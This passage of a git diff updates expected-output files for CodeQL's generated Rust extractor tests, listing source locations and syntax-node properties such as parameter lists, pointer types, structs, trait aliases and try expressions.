b/rust/ql/test/extractor-tests/generated/NameRef/NameRef.expected @@ -1,4 +1 @@ -| gen_name_ref.rs:5:5:5:8 | todo | hasText: | yes | -| gen_name_ref.rs:5:5:5:11 | $crate | hasText: | yes | -| gen_name_ref.rs:5:5:5:11 | panic | hasText: | yes | -| gen_name_ref.rs:5:5:5:11 | panicking | hasText: | yes | +| gen_name_ref.rs:7:5:7:7 | foo | hasText: | yes | diff --git a/rust/ql/test/extractor-tests/generated/NameRef/NameRef_getText.expected b/rust/ql/test/extractor-tests/generated/NameRef/NameRef_getText.expected index 17f24a9cefe1..651b70330b38 100644 --- a/rust/ql/test/extractor-tests/generated/NameRef/NameRef_getText.expected +++ b/rust/ql/test/extractor-tests/generated/NameRef/NameRef_getText.expected @@ -1,4 +1 @@ -| gen_name_ref.rs:5:5:5:8 | todo | todo | -| gen_name_ref.rs:5:5:5:11 | $crate | $crate | -| gen_name_ref.rs:5:5:5:11 | panic | panic | -| gen_name_ref.rs:5:5:5:11 | panicking | panicking | +| gen_name_ref.rs:7:5:7:7 | foo | foo | diff --git a/rust/ql/test/extractor-tests/generated/NeverTypeRepr/NeverTypeRepr.expected b/rust/ql/test/extractor-tests/generated/NeverTypeRepr/NeverTypeRepr.expected index e69de29bb2d1..e3e1a8d3900a 100644 --- a/rust/ql/test/extractor-tests/generated/NeverTypeRepr/NeverTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/NeverTypeRepr/NeverTypeRepr.expected @@ -0,0 +1,2 @@ +| gen_never_type_repr.rs:7:17:7:17 | ! | +| gen_never_type_repr.rs:7:21:7:28 | ! | diff --git a/rust/ql/test/extractor-tests/generated/ParamList/ParamList.expected b/rust/ql/test/extractor-tests/generated/ParamList/ParamList.expected index e966a16e13c4..bb999506a0c6 100644 --- a/rust/ql/test/extractor-tests/generated/ParamList/ParamList.expected +++ b/rust/ql/test/extractor-tests/generated/ParamList/ParamList.expected @@ -1 +1,2 @@ | gen_param_list.rs:3:19:3:20 | ParamList | getNumberOfParams: | 0 | hasSelfParam: | no | +| gen_param_list.rs:7:11:7:26 | ParamList | getNumberOfParams: | 2 | hasSelfParam: | no | diff --git a/rust/ql/test/extractor-tests/generated/ParamList/ParamList_getParam.expected b/rust/ql/test/extractor-tests/generated/ParamList/ParamList_getParam.expected index e69de29bb2d1..9006caf6916a 100644 --- a/rust/ql/test/extractor-tests/generated/ParamList/ParamList_getParam.expected +++ b/rust/ql/test/extractor-tests/generated/ParamList/ParamList_getParam.expected @@ -0,0 +1,2 @@ +| gen_param_list.rs:7:11:7:26 | ParamList | 0 | gen_param_list.rs:7:12:7:17 | ...: i32 | +| gen_param_list.rs:7:11:7:26 | ParamList | 1 | gen_param_list.rs:7:20:7:25 | ...: i32 | diff --git a/rust/ql/test/extractor-tests/generated/ParenExpr/ParenExpr.expected b/rust/ql/test/extractor-tests/generated/ParenExpr/ParenExpr.expected index e69de29bb2d1..efe22fdb6253 100644 --- a/rust/ql/test/extractor-tests/generated/ParenExpr/ParenExpr.expected +++ b/rust/ql/test/extractor-tests/generated/ParenExpr/ParenExpr.expected @@ -0,0 +1 @@ +| gen_paren_expr.rs:7:5:7:11 | (...) | getNumberOfAttrs: | 0 | hasExpr: | yes | diff --git a/rust/ql/test/extractor-tests/generated/ParenExpr/ParenExpr_getExpr.expected b/rust/ql/test/extractor-tests/generated/ParenExpr/ParenExpr_getExpr.expected index e69de29bb2d1..c20c0ec66fa1 100644 --- a/rust/ql/test/extractor-tests/generated/ParenExpr/ParenExpr_getExpr.expected +++ b/rust/ql/test/extractor-tests/generated/ParenExpr/ParenExpr_getExpr.expected @@ -0,0 +1 @@ +| gen_paren_expr.rs:7:5:7:11 | (...) | gen_paren_expr.rs:7:6:7:10 | ... + ... | diff --git a/rust/ql/test/extractor-tests/generated/ParenPat/ParenPat.expected b/rust/ql/test/extractor-tests/generated/ParenPat/ParenPat.expected index e69de29bb2d1..7b9b66a886dc 100644 --- a/rust/ql/test/extractor-tests/generated/ParenPat/ParenPat.expected +++ b/rust/ql/test/extractor-tests/generated/ParenPat/ParenPat.expected @@ -0,0 +1 @@ +| gen_paren_pat.rs:7:9:7:11 | (...) | hasPat: | yes | diff --git a/rust/ql/test/extractor-tests/generated/ParenPat/ParenPat_getPat.expected b/rust/ql/test/extractor-tests/generated/ParenPat/ParenPat_getPat.expected index e69de29bb2d1..832d823866fd 100644 --- a/rust/ql/test/extractor-tests/generated/ParenPat/ParenPat_getPat.expected +++ b/rust/ql/test/extractor-tests/generated/ParenPat/ParenPat_getPat.expected @@ -0,0 +1 @@ +| gen_paren_pat.rs:7:9:7:11 | (...) | gen_paren_pat.rs:7:10:7:10 | x | diff --git a/rust/ql/test/extractor-tests/generated/ParenTypeRepr/ParenTypeRepr.expected b/rust/ql/test/extractor-tests/generated/ParenTypeRepr/ParenTypeRepr.expected index e69de29bb2d1..fd5d8310d170 100644 --- a/rust/ql/test/extractor-tests/generated/ParenTypeRepr/ParenTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/ParenTypeRepr/ParenTypeRepr.expected @@ -0,0 +1 @@ +| gen_paren_type_repr.rs:7:12:7:16 | (i32) | hasTypeRepr: | yes | diff --git a/rust/ql/test/extractor-tests/generated/ParenTypeRepr/ParenTypeRepr_getTypeRepr.expected b/rust/ql/test/extractor-tests/generated/ParenTypeRepr/ParenTypeRepr_getTypeRepr.expected index e69de29bb2d1..b4167e4201a5 100644 --- a/rust/ql/test/extractor-tests/generated/ParenTypeRepr/ParenTypeRepr_getTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/ParenTypeRepr/ParenTypeRepr_getTypeRepr.expected @@ -0,0 +1 @@ +| gen_paren_type_repr.rs:7:12:7:16 | (i32) | gen_paren_type_repr.rs:7:13:7:15 | i32 | diff --git a/rust/ql/test/extractor-tests/generated/ParenthesizedArgList/ParenthesizedArgList.expected b/rust/ql/test/extractor-tests/generated/ParenthesizedArgList/ParenthesizedArgList.expected new file mode 100644 index 000000000000..317d43de72d8 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/ParenthesizedArgList/ParenthesizedArgList.expected @@ -0,0 +1 @@ +| gen_parenthesized_arg_list.rs:9:14:9:26 | ParenthesizedArgList | getNumberOfTypeArgs: | 2 | diff --git a/rust/ql/test/extractor-tests/generated/ParenthesizedArgList/ParenthesizedArgList_getTypeArg.expected b/rust/ql/test/extractor-tests/generated/ParenthesizedArgList/ParenthesizedArgList_getTypeArg.expected new file mode 100644 index 000000000000..8ae7aa526d3e --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/ParenthesizedArgList/ParenthesizedArgList_getTypeArg.expected @@ -0,0 +1,2 @@ +| gen_parenthesized_arg_list.rs:9:14:9:26 | ParenthesizedArgList | 0 | gen_parenthesized_arg_list.rs:9:15:9:17 | TypeArg | +| gen_parenthesized_arg_list.rs:9:14:9:26 | ParenthesizedArgList | 1 | gen_parenthesized_arg_list.rs:9:20:9:25 | TypeArg | diff --git a/rust/ql/test/extractor-tests/generated/PtrTypeRepr/PtrTypeRepr.expected b/rust/ql/test/extractor-tests/generated/PtrTypeRepr/PtrTypeRepr.expected index e69de29bb2d1..b975dde09ff2 100644 --- a/rust/ql/test/extractor-tests/generated/PtrTypeRepr/PtrTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/PtrTypeRepr/PtrTypeRepr.expected @@ -0,0 +1,2 @@ +| gen_ptr_type_repr.rs:7:12:7:21 | PtrTypeRepr | isConst: | yes | isMut: | no | hasTypeRepr: | yes | +| gen_ptr_type_repr.rs:8:12:8:19 | PtrTypeRepr | isConst: | no | isMut: | yes | hasTypeRepr: | yes | diff --git a/rust/ql/test/extractor-tests/generated/PtrTypeRepr/PtrTypeRepr_getTypeRepr.expected b/rust/ql/test/extractor-tests/generated/PtrTypeRepr/PtrTypeRepr_getTypeRepr.expected index e69de29bb2d1..8006e33f1d6b 100644 --- a/rust/ql/test/extractor-tests/generated/PtrTypeRepr/PtrTypeRepr_getTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/PtrTypeRepr/PtrTypeRepr_getTypeRepr.expected @@ -0,0 +1,2 @@ +| gen_ptr_type_repr.rs:7:12:7:21 | PtrTypeRepr | gen_ptr_type_repr.rs:7:19:7:21 | i32 | +| gen_ptr_type_repr.rs:8:12:8:19 | PtrTypeRepr | gen_ptr_type_repr.rs:8:17:8:19 | i32 | diff --git a/rust/ql/test/extractor-tests/generated/RefTypeRepr/RefTypeRepr.expected b/rust/ql/test/extractor-tests/generated/RefTypeRepr/RefTypeRepr.expected index e69de29bb2d1..da74246c0db4 100644 --- a/rust/ql/test/extractor-tests/generated/RefTypeRepr/RefTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/RefTypeRepr/RefTypeRepr.expected @@ -0,0 +1,2 @@ +| gen_ref_type_repr.rs:7:12:7:15 | RefTypeRepr | isMut: | no | hasLifetime: | no | hasTypeRepr: | yes | +| gen_ref_type_repr.rs:8:12:8:19 | RefTypeRepr | isMut: | yes | hasLifetime: | no | hasTypeRepr: | yes | diff --git a/rust/ql/test/extractor-tests/generated/RefTypeRepr/RefTypeRepr_getTypeRepr.expected b/rust/ql/test/extractor-tests/generated/RefTypeRepr/RefTypeRepr_getTypeRepr.expected index e69de29bb2d1..59518bf37431 100644 --- a/rust/ql/test/extractor-tests/generated/RefTypeRepr/RefTypeRepr_getTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/RefTypeRepr/RefTypeRepr_getTypeRepr.expected @@ -0,0 +1,2 @@ +| gen_ref_type_repr.rs:7:12:7:15 | RefTypeRepr | gen_ref_type_repr.rs:7:13:7:15 | i32 | +| gen_ref_type_repr.rs:8:12:8:19 | RefTypeRepr | gen_ref_type_repr.rs:8:17:8:19 | i32 | diff --git a/rust/ql/test/extractor-tests/generated/Rename/Rename.expected b/rust/ql/test/extractor-tests/generated/Rename/Rename.expected index e69de29bb2d1..3568d798d288 100644 --- a/rust/ql/test/extractor-tests/generated/Rename/Rename.expected +++ b/rust/ql/test/extractor-tests/generated/Rename/Rename.expected @@ -0,0 +1 @@ +| gen_rename.rs:7:13:7:18 | Rename | hasName: | yes | diff --git a/rust/ql/test/extractor-tests/generated/Rename/Rename_getName.expected b/rust/ql/test/extractor-tests/generated/Rename/Rename_getName.expected index e69de29bb2d1..323982f910df 100644 --- a/rust/ql/test/extractor-tests/generated/Rename/Rename_getName.expected +++ b/rust/ql/test/extractor-tests/generated/Rename/Rename_getName.expected @@ -0,0 +1 @@ +| gen_rename.rs:7:13:7:18 | Rename | gen_rename.rs:7:16:7:18 | bar | diff --git a/rust/ql/test/extractor-tests/generated/RestPat/RestPat.expected b/rust/ql/test/extractor-tests/generated/RestPat/RestPat.expected index e69de29bb2d1..c5d19cda38db 100644 --- a/rust/ql/test/extractor-tests/generated/RestPat/RestPat.expected +++ b/rust/ql/test/extractor-tests/generated/RestPat/RestPat.expected @@ -0,0 +1 @@ +| gen_rest_pat.rs:7:13:7:14 | .. | getNumberOfAttrs: | 0 | diff --git a/rust/ql/test/extractor-tests/generated/RetTypeRepr/RetTypeRepr.expected b/rust/ql/test/extractor-tests/generated/RetTypeRepr/RetTypeRepr.expected index fb87db7cabe0..18726b694bf4 100644 --- a/rust/ql/test/extractor-tests/generated/RetTypeRepr/RetTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/RetTypeRepr/RetTypeRepr.expected @@ -1,2 +1,2 @@ | gen_ret_type_repr.rs:3:25:3:29 | RetTypeRepr | hasTypeRepr: | yes | - +| gen_ret_type_repr.rs:7:14:7:19 | RetTypeRepr | hasTypeRepr: | yes | diff --git a/rust/ql/test/extractor-tests/generated/RetTypeRepr/RetTypeRepr_getTypeRepr.expected b/rust/ql/test/extractor-tests/generated/RetTypeRepr/RetTypeRepr_getTypeRepr.expected index 967da637efbd..c150253243ef 100644 --- a/rust/ql/test/extractor-tests/generated/RetTypeRepr/RetTypeRepr_getTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/RetTypeRepr/RetTypeRepr_getTypeRepr.expected @@ -1 +1,2 @@ | gen_ret_type_repr.rs:3:25:3:29 | RetTypeRepr | gen_ret_type_repr.rs:3:28:3:29 | TupleTypeRepr | +| gen_ret_type_repr.rs:7:14:7:19 | RetTypeRepr | gen_ret_type_repr.rs:7:17:7:19 | i32 | diff --git a/rust/ql/test/extractor-tests/generated/ReturnTypeSyntax/ReturnTypeSyntax.expected b/rust/ql/test/extractor-tests/generated/ReturnTypeSyntax/ReturnTypeSyntax.expected index e69de29bb2d1..125f3345c928 100644 --- a/rust/ql/test/extractor-tests/generated/ReturnTypeSyntax/ReturnTypeSyntax.expected +++ b/rust/ql/test/extractor-tests/generated/ReturnTypeSyntax/ReturnTypeSyntax.expected @@ -0,0 +1,2 @@ +| gen_return_type_syntax.rs:7:45:7:48 | ReturnTypeSyntax | +| gen_return_type_syntax.rs:13:25:13:28 | ReturnTypeSyntax | diff --git a/rust/ql/test/extractor-tests/generated/SliceTypeRepr/SliceTypeRepr.expected b/rust/ql/test/extractor-tests/generated/SliceTypeRepr/SliceTypeRepr.expected index e69de29bb2d1..dfcfb754437f 100644 --- a/rust/ql/test/extractor-tests/generated/SliceTypeRepr/SliceTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/SliceTypeRepr/SliceTypeRepr.expected @@ -0,0 +1 @@ +| gen_slice_type_repr.rs:7:13:7:17 | SliceTypeRepr | hasTypeRepr: | yes | diff --git a/rust/ql/test/extractor-tests/generated/SliceTypeRepr/SliceTypeRepr_getTypeRepr.expected b/rust/ql/test/extractor-tests/generated/SliceTypeRepr/SliceTypeRepr_getTypeRepr.expected index e69de29bb2d1..7c0b5e94e2f3 100644 --- a/rust/ql/test/extractor-tests/generated/SliceTypeRepr/SliceTypeRepr_getTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/SliceTypeRepr/SliceTypeRepr_getTypeRepr.expected @@ -0,0 +1 @@ +| gen_slice_type_repr.rs:7:13:7:17 | SliceTypeRepr | gen_slice_type_repr.rs:7:14:7:16 | i32 | diff --git a/rust/ql/test/extractor-tests/generated/SourceFile/SourceFile.expected b/rust/ql/test/extractor-tests/generated/SourceFile/SourceFile.expected index 9aac17e8e840..e354381a9216 100644 --- a/rust/ql/test/extractor-tests/generated/SourceFile/SourceFile.expected +++ b/rust/ql/test/extractor-tests/generated/SourceFile/SourceFile.expected @@ -1,2 +1,2 @@ -| gen_source_file.rs:1:1:6:2 | SourceFile | getNumberOfAttrs: | 0 | getNumberOfItems: | 1 | +| gen_source_file.rs:1:1:9:2 | SourceFile | getNumberOfAttrs: | 0 | getNumberOfItems: | 1 | | lib.rs:1:1:1:20 | SourceFile | getNumberOfAttrs: | 0 | getNumberOfItems: | 1 | diff --git a/rust/ql/test/extractor-tests/generated/SourceFile/SourceFile_getItem.expected b/rust/ql/test/extractor-tests/generated/SourceFile/SourceFile_getItem.expected index 981f445201e0..236a2a0755b8 100644 --- a/rust/ql/test/extractor-tests/generated/SourceFile/SourceFile_getItem.expected +++ b/rust/ql/test/extractor-tests/generated/SourceFile/SourceFile_getItem.expected @@ -1,2 +1,2 @@ -| gen_source_file.rs:1:1:6:2 | SourceFile | 0 | gen_source_file.rs:3:1:6:1 | fn test_source_file | +| gen_source_file.rs:1:1:9:2 | SourceFile | 0 | gen_source_file.rs:3:1:9:1 | fn test_source_file | | lib.rs:1:1:1:20 | SourceFile | 0 | lib.rs:1:1:1:20 | mod gen_source_file | diff --git a/rust/ql/test/extractor-tests/generated/Static/Static.expected b/rust/ql/test/extractor-tests/generated/Static/Static.expected index e69de29bb2d1..076578efe684 100644 --- a/rust/ql/test/extractor-tests/generated/Static/Static.expected +++ b/rust/ql/test/extractor-tests/generated/Static/Static.expected @@ -0,0 +1 @@ +| gen_static.rs:4:5:7:23 | Static | hasExtendedCanonicalPath: | no | hasCrateOrigin: | no | hasAttributeMacroExpansion: | no | getNumberOfAttrs: | 0 | hasBody: | yes | isMut: | no | isStatic: | yes | isUnsafe: | no | hasName: | yes | hasTypeRepr: | yes | hasVisibility: | no | diff --git a/rust/ql/test/extractor-tests/generated/Static/Static_getBody.expected b/rust/ql/test/extractor-tests/generated/Static/Static_getBody.expected index e69de29bb2d1..1c7305c4991d 100644 --- a/rust/ql/test/extractor-tests/generated/Static/Static_getBody.expected +++ b/rust/ql/test/extractor-tests/generated/Static/Static_getBody.expected @@ -0,0 +1 @@ +| gen_static.rs:4:5:7:23 | Static | gen_static.rs:7:21:7:22 | 42 | diff --git a/rust/ql/test/extractor-tests/generated/Static/Static_getName.expected b/rust/ql/test/extractor-tests/generated/Static/Static_getName.expected index e69de29bb2d1..96c219c64db6 100644 --- a/rust/ql/test/extractor-tests/generated/Static/Static_getName.expected +++ b/rust/ql/test/extractor-tests/generated/Static/Static_getName.expected @@ -0,0 +1 @@ +| gen_static.rs:4:5:7:23 | Static | gen_static.rs:7:12:7:12 | X | diff --git a/rust/ql/test/extractor-tests/generated/Static/Static_getTypeRepr.expected b/rust/ql/test/extractor-tests/generated/Static/Static_getTypeRepr.expected index e69de29bb2d1..556c54674849 100644 --- a/rust/ql/test/extractor-tests/generated/Static/Static_getTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/Static/Static_getTypeRepr.expected @@ -0,0 +1 @@ +| gen_static.rs:4:5:7:23 | Static | gen_static.rs:7:15:7:17 | i32 | diff --git a/rust/ql/test/extractor-tests/generated/StmtList/StmtList.expected b/rust/ql/test/extractor-tests/generated/StmtList/StmtList.expected index 201b91c921f2..46bdea2a71cb 100644 --- a/rust/ql/test/extractor-tests/generated/StmtList/StmtList.expected +++ b/rust/ql/test/extractor-tests/generated/StmtList/StmtList.expected @@ -1 +1,2 @@ -| gen_stmt_list.rs:3:27:6:1 | StmtList | getNumberOfAttrs: | 0 | getNumberOfStatements: | 0 | hasTailExpr: | yes | +| gen_stmt_list.rs:3:27:12:1 | StmtList | getNumberOfAttrs: | 0 | getNumberOfStatements: | 0 | hasTailExpr: | yes | +| gen_stmt_list.rs:7:5:10:5 | StmtList | getNumberOfAttrs: | 0 | getNumberOfStatements: | 2 | hasTailExpr: | no | diff --git a/rust/ql/test/extractor-tests/generated/StmtList/StmtList_getStatement.expected b/rust/ql/test/extractor-tests/generated/StmtList/StmtList_getStatement.expected index e69de29bb2d1..46bda795699f 100644 --- a/rust/ql/test/extractor-tests/generated/StmtList/StmtList_getStatement.expected +++ b/rust/ql/test/extractor-tests/generated/StmtList/StmtList_getStatement.expected @@ -0,0 +1,2 @@ +| gen_stmt_list.rs:7:5:10:5 | StmtList | 0 | gen_stmt_list.rs:8:9:8:18 | let ... = 1 | +| gen_stmt_list.rs:7:5:10:5 | StmtList | 1 | gen_stmt_list.rs:9:9:9:18 | let ... = 2 | diff --git a/rust/ql/test/extractor-tests/generated/StmtList/StmtList_getTailExpr.expected b/rust/ql/test/extractor-tests/generated/StmtList/StmtList_getTailExpr.expected index 007a65f8439c..998a40aea79c 100644 --- a/rust/ql/test/extractor-tests/generated/StmtList/StmtList_getTailExpr.expected +++ b/rust/ql/test/extractor-tests/generated/StmtList/StmtList_getTailExpr.expected @@ -1 +1 @@ -| gen_stmt_list.rs:3:27:6:1 | StmtList | gen_stmt_list.rs:5:5:5:11 | MacroExpr | +| gen_stmt_list.rs:3:27:12:1 | StmtList | gen_stmt_list.rs:7:5:10:5 | { ... } | diff --git a/rust/ql/test/extractor-tests/generated/Struct/Struct.expected b/rust/ql/test/extractor-tests/generated/Struct/Struct.expected index e69de29bb2d1..63c314de8695 100644 --- a/rust/ql/test/extractor-tests/generated/Struct/Struct.expected +++ b/rust/ql/test/extractor-tests/generated/Struct/Struct.expected @@ -0,0 +1 @@ +| gen_struct.rs:4:5:8:5 | struct Point | hasExtendedCanonicalPath: | no | hasCrateOrigin: | no | hasAttributeMacroExpansion: | no | getNumberOfAttrs: | 0 | hasFieldList: | yes | hasGenericParamList: | no | hasName: | yes | hasVisibility: | no | hasWhereClause: | no | diff --git a/rust/ql/test/extractor-tests/generated/Struct/Struct_getFieldList.expected b/rust/ql/test/extractor-tests/generated/Struct/Struct_getFieldList.expected index e69de29bb2d1..b2233206f649 100644 --- a/rust/ql/test/extractor-tests/generated/Struct/Struct_getFieldList.expected +++ b/rust/ql/test/extractor-tests/generated/Struct/Struct_getFieldList.expected @@ -0,0 +1 @@ +| gen_struct.rs:4:5:8:5 | struct Point | gen_struct.rs:5:18:8:5 | StructFieldList | diff --git a/rust/ql/test/extractor-tests/generated/Struct/Struct_getName.expected b/rust/ql/test/extractor-tests/generated/Struct/Struct_getName.expected index e69de29bb2d1..6912576e6fb4 100644 --- a/rust/ql/test/extractor-tests/generated/Struct/Struct_getName.expected +++ b/rust/ql/test/extractor-tests/generated/Struct/Struct_getName.expected @@ -0,0 +1 @@ +| gen_struct.rs:4:5:8:5 | struct Point | gen_struct.rs:5:12:5:16 | Point | diff --git a/rust/ql/test/extractor-tests/generated/StructExprFieldList/StructExprFieldList.expected b/rust/ql/test/extractor-tests/generated/StructExprFieldList/StructExprFieldList.expected index e69de29bb2d1..16e48f1e4f91 100644 --- a/rust/ql/test/extractor-tests/generated/StructExprFieldList/StructExprFieldList.expected +++ b/rust/ql/test/extractor-tests/generated/StructExprFieldList/StructExprFieldList.expected @@ -0,0 +1 @@ +| gen_struct_expr_field_list.rs:7:9:7:22 | StructExprFieldList | getNumberOfAttrs: | 0 | getNumberOfFields: | 2 | hasSpread: | no | diff --git a/rust/ql/test/extractor-tests/generated/StructExprFieldList/StructExprFieldList_getField.expected b/rust/ql/test/extractor-tests/generated/StructExprFieldList/StructExprFieldList_getField.expected index e69de29bb2d1..a9e8edc6aae1 100644 --- a/rust/ql/test/extractor-tests/generated/StructExprFieldList/StructExprFieldList_getField.expected +++ b/rust/ql/test/extractor-tests/generated/StructExprFieldList/StructExprFieldList_getField.expected @@ -0,0 +1,2 @@ +| gen_struct_expr_field_list.rs:7:9:7:22 | StructExprFieldList | 0 | gen_struct_expr_field_list.rs:7:11:7:14 | a: 1 | +| gen_struct_expr_field_list.rs:7:9:7:22 | StructExprFieldList | 1 | gen_struct_expr_field_list.rs:7:17:7:20 | b: 2 | diff --git a/rust/ql/test/extractor-tests/generated/StructField/StructField.expected b/rust/ql/test/extractor-tests/generated/StructField/StructField.expected index e69de29bb2d1..52a70f01feb8 100644 --- a/rust/ql/test/extractor-tests/generated/StructField/StructField.expected +++ b/rust/ql/test/extractor-tests/generated/StructField/StructField.expected @@ -0,0 +1 @@ +| gen_struct_field.rs:7:16:7:21 | StructField | getNumberOfAttrs: | 0 | hasDefault: | no | isUnsafe: | no | hasName: | yes | hasTypeRepr: | yes | hasVisibility: | no | diff --git a/rust/ql/test/extractor-tests/generated/StructField/StructField_getName.expected b/rust/ql/test/extractor-tests/generated/StructField/StructField_getName.expected index e69de29bb2d1..1b66b3a883b9 100644 --- a/rust/ql/test/extractor-tests/generated/StructField/StructField_getName.expected +++ b/rust/ql/test/extractor-tests/generated/StructField/StructField_getName.expected @@ -0,0 +1 @@ +| gen_struct_field.rs:7:16:7:21 | StructField | gen_struct_field.rs:7:16:7:16 | x | diff --git a/rust/ql/test/extractor-tests/generated/StructField/StructField_getTypeRepr.expected b/rust/ql/test/extractor-tests/generated/StructField/StructField_getTypeRepr.expected index e69de29bb2d1..ad77aac46016 100644 --- a/rust/ql/test/extractor-tests/generated/StructField/StructField_getTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/StructField/StructField_getTypeRepr.expected @@ -0,0 +1 @@ +| gen_struct_field.rs:7:16:7:21 | StructField | gen_struct_field.rs:7:19:7:21 | i32 | diff --git a/rust/ql/test/extractor-tests/generated/StructFieldList/StructFieldList.expected b/rust/ql/test/extractor-tests/generated/StructFieldList/StructFieldList.expected index e69de29bb2d1..f07a535897fe 100644 --- a/rust/ql/test/extractor-tests/generated/StructFieldList/StructFieldList.expected +++ b/rust/ql/test/extractor-tests/generated/StructFieldList/StructFieldList.expected @@ -0,0 +1 @@ +| gen_struct_field_list.rs:7:14:7:31 | StructFieldList | getNumberOfFields: | 2 | diff --git a/rust/ql/test/extractor-tests/generated/StructFieldList/StructFieldList_getField.expected b/rust/ql/test/extractor-tests/generated/StructFieldList/StructFieldList_getField.expected index e69de29bb2d1..cd2ac33b4c95 100644 --- a/rust/ql/test/extractor-tests/generated/StructFieldList/StructFieldList_getField.expected +++ b/rust/ql/test/extractor-tests/generated/StructFieldList/StructFieldList_getField.expected @@ -0,0 +1,2 @@ +| gen_struct_field_list.rs:7:14:7:31 | StructFieldList | 0 | gen_struct_field_list.rs:7:16:7:21 | StructField | +| gen_struct_field_list.rs:7:14:7:31 | StructFieldList | 1 | gen_struct_field_list.rs:7:24:7:29 | StructField | diff --git a/rust/ql/test/extractor-tests/generated/StructPatFieldList/StructPatFieldList.expected b/rust/ql/test/extractor-tests/generated/StructPatFieldList/StructPatFieldList.expected index e69de29bb2d1..a52d73ab6c8b 100644 --- a/rust/ql/test/extractor-tests/generated/StructPatFieldList/StructPatFieldList.expected +++ b/rust/ql/test/extractor-tests/generated/StructPatFieldList/StructPatFieldList.expected @@ -0,0 +1 @@ +| gen_struct_pat_field_list.rs:7:13:7:20 | StructPatFieldList | getNumberOfFields: | 2 | hasRestPat: | no | diff --git a/rust/ql/test/extractor-tests/generated/StructPatFieldList/StructPatFieldList_getField.expected b/rust/ql/test/extractor-tests/generated/StructPatFieldList/StructPatFieldList_getField.expected index e69de29bb2d1..c2d445a5a3f0 100644 --- a/rust/ql/test/extractor-tests/generated/StructPatFieldList/StructPatFieldList_getField.expected +++ b/rust/ql/test/extractor-tests/generated/StructPatFieldList/StructPatFieldList_getField.expected @@ -0,0 +1,2 @@ +| gen_struct_pat_field_list.rs:7:13:7:20 | StructPatFieldList | 0 | gen_struct_pat_field_list.rs:7:15:7:15 | ... | +| gen_struct_pat_field_list.rs:7:13:7:20 | StructPatFieldList | 1 | gen_struct_pat_field_list.rs:7:18:7:18 | ... | diff --git a/rust/ql/test/extractor-tests/generated/TokenTree/TokenTree.expected b/rust/ql/test/extractor-tests/generated/TokenTree/TokenTree.expected index b13382221bb8..f349b236ed7c 100644 --- a/rust/ql/test/extractor-tests/generated/TokenTree/TokenTree.expected +++ b/rust/ql/test/extractor-tests/generated/TokenTree/TokenTree.expected @@ -1 +1,3 @@ -| gen_token_tree.rs:5:10:5:11 | TokenTree | +| gen_token_tree.rs:7:13:7:40 | TokenTree | +| gen_token_tree.rs:7:14:7:39 | TokenTree | +| gen_token_tree.rs:9:22:9:49 | TokenTree | diff --git a/rust/ql/test/extractor-tests/generated/TraitAlias/TraitAlias.expected b/rust/ql/test/extractor-tests/generated/TraitAlias/TraitAlias.expected index e69de29bb2d1..0a5b69dcd5e2 100644 --- a/rust/ql/test/extractor-tests/generated/TraitAlias/TraitAlias.expected +++ b/rust/ql/test/extractor-tests/generated/TraitAlias/TraitAlias.expected @@ -0,0 +1 @@ +| gen_trait_alias.rs:7:5:7:26 | TraitAlias | hasExtendedCanonicalPath: | no | hasCrateOrigin: | no | hasAttributeMacroExpansion: | no | getNumberOfAttrs: | 0 | hasGenericParamList: | no | hasName: | yes | hasTypeBoundList: | yes | hasVisibility: | no | hasWhereClause: | no | diff --git a/rust/ql/test/extractor-tests/generated/TraitAlias/TraitAlias_getName.expected b/rust/ql/test/extractor-tests/generated/TraitAlias/TraitAlias_getName.expected index e69de29bb2d1..e0aae353801d 100644 --- a/rust/ql/test/extractor-tests/generated/TraitAlias/TraitAlias_getName.expected +++ b/rust/ql/test/extractor-tests/generated/TraitAlias/TraitAlias_getName.expected @@ -0,0 +1 @@ +| gen_trait_alias.rs:7:5:7:26 | TraitAlias | gen_trait_alias.rs:7:11:7:13 | Foo | diff --git a/rust/ql/test/extractor-tests/generated/TraitAlias/TraitAlias_getTypeBoundList.expected b/rust/ql/test/extractor-tests/generated/TraitAlias/TraitAlias_getTypeBoundList.expected index e69de29bb2d1..797921bf4ddc 100644 --- a/rust/ql/test/extractor-tests/generated/TraitAlias/TraitAlias_getTypeBoundList.expected +++ b/rust/ql/test/extractor-tests/generated/TraitAlias/TraitAlias_getTypeBoundList.expected @@ -0,0 +1 @@ +| gen_trait_alias.rs:7:5:7:26 | TraitAlias | gen_trait_alias.rs:7:17:7:25 | TypeBoundList | diff --git a/rust/ql/test/extractor-tests/generated/TryExpr/TryExpr.expected b/rust/ql/test/extractor-tests/generated/TryExpr/TryExpr.expected index e69de29bb2d1..214ca5597ec6 100644 --- a/rust/ql/test/extractor-tests/generated/TryExpr/TryExpr.expected +++ b/rust/ql/test/extractor-tests/generated/TryExpr/TryExpr.expected @@ -0,0 +1 @@ +| gen_try_expr.rs:7:13:7:18 | TryExpr | getNumberOfAttrs: | 0 | hasExpr: | yes | diff --git a/rust/ql/test/extractor-tests/generated/TryExpr/TryExpr_getExpr.expected b/rust/ql/test/extractor-tests/generated/TryExpr/TryExpr_getExpr.expected index e69de29bb2d1..fb0c80429696 100644 --- a/rust/ql/test/extractor-tests/generated/TryExpr/TryExpr_getExpr.expected +++ b/rust/ql/test/extractor-tests/generated/TryExpr/TryExpr_getExpr.expected @@ -0,0 +1 @@ +| gen_try_expr.rs:7:13:7:18 | TryExpr | gen_try_expr.rs:7:13:7:17 | foo(...) | diff --git a/rust/ql/test/extractor-tests/generated/TupleField/TupleField.expected b/rust/ql/test/extractor-tests/generated/TupleField/TupleField.expected index e69de29bb2d1..4c658836ad93 100644 --- a/rust/ql/test/extractor-tests/generated/TupleField/TupleField.expected +++ b/rust/ql/test/extractor-tests/generated/TupleField/TupleField.expected @@ -0,0 +1,2 @@ +| gen_tuple_field.rs:7:14:7:16 | TupleField | 